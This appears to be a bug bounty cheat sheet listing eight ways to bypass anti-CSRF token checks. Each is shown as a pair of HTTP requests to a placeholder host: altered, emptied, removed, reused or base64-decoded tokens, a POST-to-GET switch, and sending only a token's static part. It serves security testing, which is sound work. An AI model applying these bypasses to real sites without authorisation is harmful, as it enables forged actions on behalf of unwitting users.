AllAboutBugBounty/Bypass/Bypass CSRF.md

2.1 KiB

Bypass CSRF

  1. Change single character
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa

Try this to bypass

POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab
  1. Sending empty value of token
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa

Try this to bypass

POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=
  1. Replace the token with same length
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaaaaa

Try this to bypass

POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaabaa
  1. Changing POST / GET method
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa

Try this to bypass

GET /register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1
Host: target.com
[...]
  1. Remove the token from request
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa

Try this to bypass

POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456
  1. Use another user's valid token
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=ANOTHER_VALID_TOKEN
  1. Try to decrypt hash
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=MTIzNDU2

MTIzNDU2 => 123456 with base64

  1. Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic
POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=vi802jg9f8akd9j123

When we register again, the request like this

POST /register HTTP/1.1
Host: target.com
[...]

username=dapos&password=123456&token=vi802jg9f8akd9j124

If you notice "vi802jg9f8akd9j" part of the token remain same, you just need to send with only static part